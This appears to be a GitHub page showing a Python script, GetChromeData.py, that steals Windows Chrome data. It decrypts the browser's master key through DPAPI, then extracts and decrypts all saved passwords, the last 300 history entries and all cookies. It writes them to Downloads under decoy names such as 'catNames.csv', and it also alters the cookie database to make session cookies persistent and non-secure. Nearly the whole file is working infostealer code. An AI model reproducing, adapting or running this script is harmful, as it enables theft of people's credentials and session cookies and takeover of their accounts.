Repository navigation
Expand file tree
/
Copy pathGetChromeData.py
More file actions
354 lines (317 loc) · 12.5 KB
/
Copy pathGetChromeData.py
File metadata and controls
354 lines (317 loc) · 12.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
import base64
import csv
import json
import os
import re
import shutil
import sqlite3
import sys
from datetime import datetime, timedelta
import win32crypt # pip install pywin32
from Crypto.Cipher import AES # pip install pycryptodome
# Global Constant
CHROME_PATH_LOCAL_STATE = os.path.normpath(
r"%s\AppData\Local\Google\Chrome\User Data\Local State"
% (os.environ["USERPROFILE"])
)
CHROME_PATH = os.path.normpath(
r"%s\AppData\Local\Google\Chrome\User Data" % (os.environ["USERPROFILE"])
)
DOWNLOADS_ORDNER = os.path.join(os.path.expanduser("~"), "Downloads")
DATA_PASSWORD = "catNames.csv"
STORE_PASSWORD = os.path.join(DOWNLOADS_ORDNER, DATA_PASSWORD)
DATA_HISTORY = "ILoveCoffee.txt"
STORE_HISTORY = os.path.join(DOWNLOADS_ORDNER, DATA_HISTORY)
DATA_COOKIES = "ILoveCookies.txt"
STORE_COOKIES = os.path.join(DOWNLOADS_ORDNER, DATA_COOKIES)
# Get passwords inside of chrome
def get_secret_key():
try:
# Get secretkey from chrome local state
with open(CHROME_PATH_LOCAL_STATE, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except Exception as e:
print("%s" % str(e))
print("[ERR] Chrome secretkey cannot be found")
return None
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
# Initialisation vector for AES decryption
initialisation_vector = ciphertext[3:15]
# Get encrypted password by removing suffix bytes (last 16 bits)
# Encrypted password is 192 bits
encrypted_password = ciphertext[15:-16]
# Build the cipher to decrypt the ciphertext
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s" % str(e))
print(
"[ERR] Unable to decrypt, Chrome version <80 not supported. Please check."
)
return ""
def get_db_connection(chrome_path_login_db):
try:
print(chrome_path_login_db)
shutil.copy2(chrome_path_login_db, "Loginvault.db")
return sqlite3.connect("Loginvault.db")
except Exception as e:
print("%s" % str(e))
print("[ERR] Chrome database cannot be found")
return None
def Main_passwords():
try:
# Create Dataframe to store passwords (in Downloads)
with open(
STORE_PASSWORD, mode="w", newline="", encoding="utf-8"
) as decrypt_password_file:
csv_writer = csv.writer(decrypt_password_file, delimiter=",")
csv_writer.writerow(["index", "url", "username", "password"])
# Get secret key
secret_key = get_secret_key()
# Search user profile or default folder (this is where the encrypted login password is stored)
folders = [
element
for element in os.listdir(CHROME_PATH)
if re.search("^Profile*|^Default$", element) != None
]
for folder in folders:
# Get ciphertext from sqlite database
chrome_path_login_db = os.path.normpath(
r"%s\%s\Login Data" % (CHROME_PATH, folder)
)
conn = get_db_connection(chrome_path_login_db)
if secret_key and conn:
cursor = conn.cursor()
cursor.execute(
"SELECT action_url, username_value, password_value FROM logins"
)
for index, login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if url != "" and username != "" and ciphertext != "":
# ilter the initialisation vector & encrypted password from ciphertext
# Use AES algorithm to decrypt the password
decrypted_password = decrypt_password(
ciphertext, secret_key
)
print("\nChrome Passwords:")
print("Sequence: %d" % (index))
print(
"URL: %s\nUser Name: %s\nPassword: %s\n"
% (url, username, decrypted_password)
)
print("*" * 50)
# Save into CSV
csv_writer.writerow(
[index, url, username, decrypted_password]
)
# Close database connection
cursor.close()
conn.close()
# Delete temp login db
os.remove("Loginvault.db")
except Exception as e:
print("[ERR] %s" % str(e))
# Get password inside of chrome end
# Browser History results
def BrowserHistory_Main(browser="Chrome"):
if browser.lower() == "chrome":
# Path to Chrome user data directory
user_data_path = (
os.path.expanduser("~") + "/AppData/Local/Google/Chrome/User Data"
)
history_db_path = os.path.join(user_data_path, "Default", "History")
cookies_db_path = os.path.join(user_data_path, "Default", "Cookies")
# Attempt to connect to the History database, with a retry mechanism
attempts = 0
max_attempts = 3
while attempts < max_attempts:
try:
history_conn = sqlite3.connect(history_db_path)
history_cursor = history_conn.cursor()
history_cursor.execute(
"SELECT * FROM urls ORDER BY last_visit_time DESC LIMIT 300"
)
history_results = history_cursor.fetchall()
break
except sqlite3.OperationalError as e:
print(f"Error accessing history database: {e}. Retrying...")
attempts += 1
# Print browser history
print("\nBrowser History:")
for row in history_results:
print(row)
print("=============================================================")
# write isnside a txt file
with open(STORE_HISTORY, "w", encoding="utf-8") as file:
file.write("Browser history: \n")
for row in history_results:
file.write(str(row) + "\n")
# Close database connections
history_conn.close()
# end of Browser History results
# Get Cookies from Chrome
def get_chrome_datetime(chromedate):
"""Return a `datetime.datetime` object from a chrome format datetime
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
if chromedate != 86400000000 and chromedate:
try:
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
except Exception as e:
print(f"Error: {e}, chromedate: {chromedate}")
return chromedate
else:
return ""
def get_encryption_key():
local_state_path = os.path.join(
os.environ["USERPROFILE"],
"AppData",
"Local",
"Google",
"Chrome",
"User Data",
"Local State",
)
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
# decode the encryption key from Base64
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
# remove 'DPAPI' str
key = key[5:]
# return decrypted key that was originally encrypted
# using a session key derived from current user's logon credentials
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def decrypt_data(data, key):
try:
# get the initialization vector
iv = data[3:15]
data = data[15:]
# generate cipher
cipher = AES.new(key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(data)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
except:
# not supported
return ""
def GetCookies_main():
# local sqlite Chrome cookie database path
db_path = os.path.join(
os.environ["USERPROFILE"],
"AppData",
"Local",
"Google",
"Chrome",
"User Data",
"Default",
"Network",
"Cookies",
)
# copy the file to current directory
# as the database will be locked if chrome is currently open
filename = "Cookies.db"
if not os.path.isfile(filename):
# copy file when does not exist in the current directory
shutil.copyfile(db_path, filename)
# connect to the database
db = sqlite3.connect(filename)
# ignore decoding errors
db.text_factory = lambda b: b.decode(errors="ignore")
cursor = db.cursor()
# get the cookies from `cookies` table
cursor.execute(
"""
SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
FROM cookies"""
)
# you can also search by domain, e.g thepythoncode.com
# cursor.execute("""
# SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
# FROM cookies
# WHERE host_key like '%thepythoncode.com%'""")
# get the AES key
key = get_encryption_key()
for (
host_key,
name,
value,
creation_utc,
last_access_utc,
expires_utc,
encrypted_value,
) in cursor.fetchall():
if not value:
decrypted_value = decrypt_data(encrypted_value, key)
else:
# already decrypted
decrypted_value = value
print("\nCookies:")
print(
f"""
Host: {host_key}
Cookie name: {name}
Cookie value (decrypted): {decrypted_value}
Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
===============================================================
"""
)
# update the cookies table with the decrypted value
# and make session cookie persistent
cursor.execute(
"""
UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
WHERE host_key = ?
AND name = ?""",
(decrypted_value, host_key, name),
)
# in a txt file
with open(STORE_COOKIES, "a") as cookiefile:
cookiefile.write("\nCookies: \n")
cookiefile.write("\nHost:" + str(host_key) + "\n")
cookiefile.write("Cookie name:" + str(name) + "\n")
cookiefile.write("Cookie value (decrypted):" + str(decrypted_value) + "\n")
cookiefile.write(
"Creation datetime (UTC):"
+ str(get_chrome_datetime(creation_utc))
+ "\n"
)
cookiefile.write(
"Last acess datetime (UTC):"
+ str(get_chrome_datetime(last_access_utc))
+ "\n"
)
cookiefile.write(
"Expires datetime (UTC):" + str(get_chrome_datetime(expires_utc)) + "\n"
)
cookiefile.write(
"============================================================="
)
# commit changes
db.commit()
# close connection
db.close()
# end get Cookies from Chrome
# main functions
if __name__ == "__main__":
Main_passwords()
BrowserHistory_Main(browser="Chrome")
GetCookies_main()